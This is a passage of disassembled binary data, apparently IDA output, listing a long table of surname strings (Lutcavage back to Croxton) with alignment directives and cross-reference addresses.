aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:00433918o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:00433914o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:00433910o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0043390Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:00433908o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:00433904o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:00433900o
aLucas		db 'Lucas',0            ; DATA XREF: ___:004338FCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:004338F8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:004338F4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:004338F0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:004338ECo
aLoss		db 'Loss',0             ; DATA XREF: ___:004338E8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:004338E4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:004338E0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:004338DCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:004338D8o
aLivi		db 'Livi',0             ; DATA XREF: ___:004338D4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:004338D0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:004338CCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:004338C8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:004338C4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:004338C0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:004338BCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:004338B8o
aLine		db 'Line',0             ; DATA XREF: ___:004338B4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:004338B0o
		align 10h
aLinda_0	db 'Linda',0            ; DATA XREF: ___:004338ACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:004338A8o
aLim		db 'Lim',0              ; DATA XREF: ___:004338A4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:004338A0o
		align 10h
aLight_0	db 'Light',0            ; DATA XREF: ___:0043389Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:00433898o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:00433894o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:00433890o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0043388Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:00433888o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:00433884o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:00433880o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0043387Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:00433878o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:00433874o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:00433870o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0043386Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:00433868o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:00433864o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:00433860o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0043385Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:00433858o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:00433854o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:00433850o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0043384Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:00433848o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:00433844o
aLa		db 'La',0               ; DATA XREF: ___:00433840o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0043383Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:00433838o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:00433834o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:00433830o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0043382Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:00433828o
aKraus		db 'Kraus',0            ; DATA XREF: ___:00433824o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:00433820o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0043381Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:00433818o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:00433814o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:00433810o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0043380Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:00433808o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:00433804o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:00433800o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:004337FCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:004337F8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:004337F4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:004337F0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:004337ECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:004337E8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:004337E4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:004337E0o
aKling		db 'Kling',0            ; DATA XREF: ___:004337DCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:004337D8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:004337D4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:004337D0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:004337CCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:004337C8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:004337C4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:004337C0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:004337BCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:004337B8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:004337B4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:004337B0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:004337ACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:004337A8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:004337A4o
		align 10h
aKerry_0	db 'Kerry',0            ; DATA XREF: ___:004337A0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0043379Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:00433798o
aKempton	db 'Kempton',0          ; DATA XREF: ___:00433794o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:00433790o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0043378Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:00433788o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:00433784o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:00433780o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0043377Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:00433778o
aKasten		db 'Kasten',0           ; DATA XREF: ___:00433774o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:00433770o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0043376Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:00433768o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:00433764o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:00433760o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0043375Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:00433758o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:00433754o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:00433750o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0043374Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:00433748o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:00433744o
aJulious	db 'Julious',0          ; DATA XREF: ___:00433740o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0043373Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:00433738o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:00433734o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:00433730o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0043372Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:00433728o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:00433724o
aJewett		db 'Jewett',0           ; DATA XREF: ___:00433720o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0043371Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:00433718o
aJellis		db 'Jellis',0           ; DATA XREF: ___:00433714o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:00433710o
aJay		db 'Jay',0              ; DATA XREF: ___:0043370Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:00433708o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:00433704o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:00433700o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:004336FCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:004336F8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:004336F4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:004336F0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:004336ECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:004336E8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:004336E4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:004336E0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:004336DCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:004336D8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:004336D4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:004336D0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:004336CCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:004336C8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:004336C4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:004336C0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:004336BCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:004336B8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:004336B4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:004336B0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:004336ACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:004336A8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:004336A4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:004336A0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0043369Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:00433698o
aHoward		db 'Howard',0           ; DATA XREF: ___:00433694o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:00433690o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0043368Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:00433688o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:00433684o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:00433680o
aHooker_0	db 'Hooker',0           ; DATA XREF: ___:0043367Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:00433678o
aHolway		db 'Holway',0           ; DATA XREF: ___:00433674o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:00433670o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0043366Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:00433668o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:00433664o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:00433660o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0043365Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:00433658o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:00433654o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:00433650o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0043364Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:00433648o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:00433644o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:00433640o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0043363Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:00433638o
aHester		db 'Hester',0           ; DATA XREF: ___:00433634o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:00433630o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0043362Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:00433628o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:00433624o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:00433620o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0043361Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:00433618o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:00433614o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:00433610o
aHeft		db 'Heft',0             ; DATA XREF: ___:0043360Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:00433608o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:00433604o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:00433600o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:004335FCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:004335F8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:004335F4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:004335F0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:004335ECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:004335E8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:004335E4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:004335E0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:004335DCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:004335D8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:004335D4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:004335D0o
aHand		db 'Hand',0             ; DATA XREF: ___:004335CCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:004335C8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:004335C4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:004335C0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:004335BCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:004335B8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:004335B4o
aHaley		db 'Haley',0            ; DATA XREF: ___:004335B0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:004335ACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:004335A8o
aHaar		db 'Haar',0             ; DATA XREF: ___:004335A4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:004335A0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0043359Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:00433598o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:00433594o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:00433590o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0043358Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:00433588o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:00433584o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:00433580o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0043357Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:00433578o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:00433574o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:00433570o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0043356Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:00433568o
		align 4
aGood_0		db 'Good',0             ; DATA XREF: ___:00433564o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:00433560o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0043355Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:00433558o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:00433554o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:00433550o
aGist		db 'Gist',0             ; DATA XREF: ___:0043354Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:00433548o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:00433544o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:00433540o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0043353Co
aGibson_0	db 'Gibson',0           ; DATA XREF: ___:00433538o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:00433534o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:00433530o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0043352Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:00433528o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:00433524o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:00433520o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0043351Co
aGarman		db 'Garman',0           ; DATA XREF: ___:00433518o
		align 4
aGarfield_0	db 'Garfield',0         ; DATA XREF: ___:00433514o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:00433510o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0043350Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:00433508o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:00433504o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:00433500o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:004334FCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:004334F8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:004334F4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:004334F0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:004334ECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:004334E8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:004334E4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:004334E0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:004334DCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:004334D8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:004334D4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:004334D0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:004334CCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:004334C8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:004334C4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:004334C0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:004334BCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:004334B8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:004334B4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:004334B0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:004334ACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:004334A8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:004334A4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:004334A0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0043349Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:00433498o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:00433494o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:00433490o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0043348Co
aFink		db 'Fink',0             ; DATA XREF: ___:00433488o
		align 4
aField_0	db 'Field',0            ; DATA XREF: ___:00433484o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:00433480o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0043347Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:00433478o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:00433474o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:00433470o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0043346Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:00433468o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:00433464o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:00433460o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0043345Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:00433458o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:00433454o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:00433450o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0043344Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:00433448o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:00433444o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:00433440o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0043343Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:00433438o
aEverett	db 'Everett',0          ; DATA XREF: ___:00433434o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:00433430o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0043342Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:00433428o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:00433424o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:00433420o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0043341Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:00433418o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:00433414o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:00433410o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0043340Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:00433408o
aElvis		db 'Elvis',0            ; DATA XREF: ___:00433404o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:00433400o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:004333FCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:004333F8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:004333F4o
aEdward		db 'Edward',0           ; DATA XREF: ___:004333F0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:004333ECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:004333E8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:004333E4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:004333E0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:004333DCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:004333D8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:004333D4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:004333D0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:004333CCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:004333C8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:004333C4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:004333C0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:004333BCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:004333B8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:004333B4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:004333B0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:004333ACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:004333A8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:004333A4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:004333A0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0043339Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:00433398o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:00433394o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:00433390o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0043338Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:00433388o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:00433384o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:00433380o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0043337Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:00433378o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:00433374o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:00433370o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0043336Co
aDenham		db 'Denham',0           ; DATA XREF: ___:00433368o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:00433364o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:00433360o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0043335Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:00433358o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:00433354o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:00433350o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0043334Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:00433348o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:00433344o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:00433340o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0043333Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:00433338o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:00433334o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:00433330o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0043332Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:00433328o
aDavid		db 'David',0            ; DATA XREF: ___:00433324o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:00433320o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0043331Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:00433318o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:00433314o
aDapice		db 'Dapice',0           ; DATA XREF: ___:00433310o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0043330Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:00433308o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:00433304o
aDaly		db 'Daly',0             ; DATA XREF: ___:00433300o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:004332FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:004332F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:004332F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:004332F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:004332ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:004332E8o
aCui		db 'Cui',0              ; DATA XREF: ___:004332E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:004332E0o
